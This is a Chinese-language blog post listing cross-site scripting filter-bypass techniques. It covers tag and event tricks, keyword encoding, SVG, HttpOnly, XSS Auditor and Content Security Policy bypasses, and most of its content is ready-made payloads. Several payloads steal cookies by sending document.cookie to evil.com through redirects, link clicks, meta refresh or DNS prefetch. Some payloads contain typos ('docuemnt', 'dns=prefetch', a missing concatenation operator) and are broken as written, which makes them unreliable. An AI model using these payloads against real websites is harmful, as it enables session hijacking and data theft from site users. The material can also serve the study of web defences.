XSS 防护绕过
(0)

1.绕过特定标签过滤

过滤掉危险的标签比如 <script><iframe> 等,可以使用其它任何一种标签,都可以构造出 XSS 代码。比如:
<not_real_tah onclick="alert(/xss/)">click me</not_real_tag>
除此之外,倘若 HTML 进行升级,那么会带来部分新的标签,往往很容易被忽视掉,比如 video 标签:
<video><source onmouseover="alert(/xss/)">
<video><source onerror=alert(/xss/)>

学习链接

2.绕过事件过滤

有很多事件,比如 onmouseoveronclick 等,可以使用 Javascript 伪协议绕过:
<a href="javascript:alert(/xss/)">click me</a>
同绕过标签一样也有 HTML5 的出现带来的一些新的属性,比如:
<details open ontoggle="alert(/xss/)">
<form><button formaction="javascript:alert(/xss/)">X</button>
...

3.敏感关键字字符绕过

敏感字例如:evalcookie等,通过拼接,编码解码绕过
Javascript 中的对象方法可以通过数组的方式进行调用,如调用 alert 函数,可以使用如下方法:
例如:window['alert'](/xss/);
绕过方法例如:window['al'+'ert'](/xss/);
编码加拼接:window[atob("YWxl"+"cnQ=")](/xss/);

常用编码方式有:
HTML编码 、 CSS编码 、 Javascript编码 、 URL编码 、 JSFuck编码
JSFuck:一种只使用 []()!+ 6 种字符的编码方式来编写 Javascript
编码网站:https://www.evilcos.me/lab/xssee/

将 XSS 代码放置于其他不被浏览器提交至服务端的部分,如:location.、window.name 等处,location. 的构造如下:
http://example.com/xss.php?input-<input onfocus=outer=outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(/xss/)>

<iframe src="http://example.com/xss.php?input=%3cinput%20 onfocus=location=window.name%3E" name="javascript:alert(/xss/)"></iframe>

4.绕过小数点过滤

with(docuemnt)alert(cookie);

5.绕过()过滤

绑定错误处理函数使用throw关键字传递参数绕过
window.onerror=alert; throw 1;

6.绕过空格过滤

使用换行符即可绕过:0x09 0x10 0x12 0x13 0x0a
http://example.com/xss.php?input=<img%0asrc=x%0aonerror=alert(/xss/)>
在特定情况下,比如标签名和第一个属性之间可以使用 / 绕过
<input>/onfocus=alert(/xss/)

7.使用<svg>标签绕过防护

svg 内部的标签和语句遵循的规则是直接继承 xml 而不是继承 html,有何区别呢?就是标签中可以允许存在一部分进制或编码后的字符(比如实体编码):
http://example.com/xss.php?input=1"><svg><script>alert%26%23x28;1%26%23x29</script></svg>

8.绕过 HttpOnly 防护

[1]Apache 服务器 2.2.0-2.2.21 版本存在一个漏洞 CVE-2012-0053 :攻击者可以通过向网站植入超大的 cookie,令 HTTP 头超过 Apache 的 LimitReqyesrFieldSize(最大请求长度,4192字节),使得 Apache 返回 400 错误,状态页中包含了 HttpOnly 保护的 Cookie,出了 Apahce ,还有诸如 Squid 服务器
www.exploitdb.com

[2]phpinfo() 页面不受 httponly() 属性管控,总可以在上面找到 cookie

[3]通过 Falsh Java 的一些 API 可以获取到 HttpOnly Cookie,此种情况归结为客户端信息泄露
http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html

9.绕过浏览器 XSS Auditor 防护

字符集编码绕过,若该页面没有设置默认编码,当使用日语字符集的时候,XSS Auditor 检查的部分会向 Payload 添加 0x0f 字符,实质上利用的是浏览器处理字符集时产生的漏洞这样即可绕过 XSS Auditor:
<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1) />

当 Auditor 在检查加载脚本路径时,如果加载的脚本在自身目录下,并且 XSS 的输出点在 HTML 属性中,那么 XSS Auditor 是不会对其进行拦截的。但是如果检测到了 "//" 这样的外部链接的话,就会出发 Auditor,从而无法加载外部脚本。
可以这样构造:
http://example.com/xss.php?input=1"><link%20rel="import"%20href=https:evil.com/1.php

默认情况下,XSS Auditor 是默认开启的,但如果 HTTP 响应头中的 X-XSS-Protection 属性被设置为 0 ,那么 Chrome 浏览器会关闭 XSS Auditor。因此,如果在 HTTP 响应头重注入 CRLF 并在心一行中写入 X-XSS-Protection:0,那么 XSS Auditor 就关闭了。
[注:CRLF 是 Carriage-Return Line-Feed 的缩写,意思是回车换行]

10.内容安全策略(CSP)绕过

内容安全策略(CSP)是目前最主要的 Web 安全保护之一,该功能可降低 XSS 漏洞攻击的可能性,得益于 CSP ,使得开发者可以自定义安全管理规则,规定网站可以获取或加载的内容。CSP 是以白名单机制管理网站加载或者执行的资源。在网页中,这样的策略是通过 HTTP 头信息或者 meta 标签来定义的。需要注意的是,虽然 CSP 可以防止攻击者从外部跨域加载恶意代码,但是 CSP 并不能防止数据泄露。
[1]CSP 配置错误
在实际场景中,常常会出现 CSP 策略配置错误的情形,错误场景列举如下:
·策略定义不全或者没有使用 default-src 来补全
·script-src 的元列表包含 unsafe-inline(且没有使用 nonce 或 hash celue)或允许data伪协议
·script-src 或 object-src 源列表包含攻击者可控制的部分源地址(文件上传、JSON、Hijacking、SOME攻击),或者包含不安全的库
·源地址列表滥用通配符
·...

例子:
CSP 策略为:default-src 'self';script-src 'self' 'unsafe-inline'
根据上述当包含 unsafe-inline 关键词但没有使用 nonce 或 hash 策略时,可以直接使用事件属性或者 script 标签代码执行,并且还允许加载同域,绕过如下:
[1]DNS Prefetch 由于 link 标签最新的 rel 属性 dns-prefetch 尚未被加入 CSP 实现中,使用如下 payload 即可发出一条 DNS 解析请求,在 NS 服务器下查看解析日志便可以得到如下内容:
<link rel="dns=prefetch" href="[cookie].evil.com">

[2]location.href 绕过。大部分网站的跳转还是靠前端完成,所以 CSP 没法管到,因此衍生出大量绕过方式:
一:<script>location='http://eval.com/cookie='+escape(document.cookie);</script>
二:

<script>
    var a=document.createElement("a");
    a.href='http://evil.com/cookie.php?cookie='escape(document.cookie);'
    document.body.appendChild(a);
    a.click();
</script>

三、<meta http-equiv="refresh" content="1;url=http://evil.com/cookie.php?data=[cookie]">

若是只有:default-src 'self' 规则可以使用重定向绕过:
http://example.com/xss.php?input=<script src="http://example.com/a/redirect.php?url=http://example.com/b/evil.js"></script>

有时还可 [CRLF][CRLF] 分隔绕过

[注:有名的 BEFF]

本文为作者HD_More发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论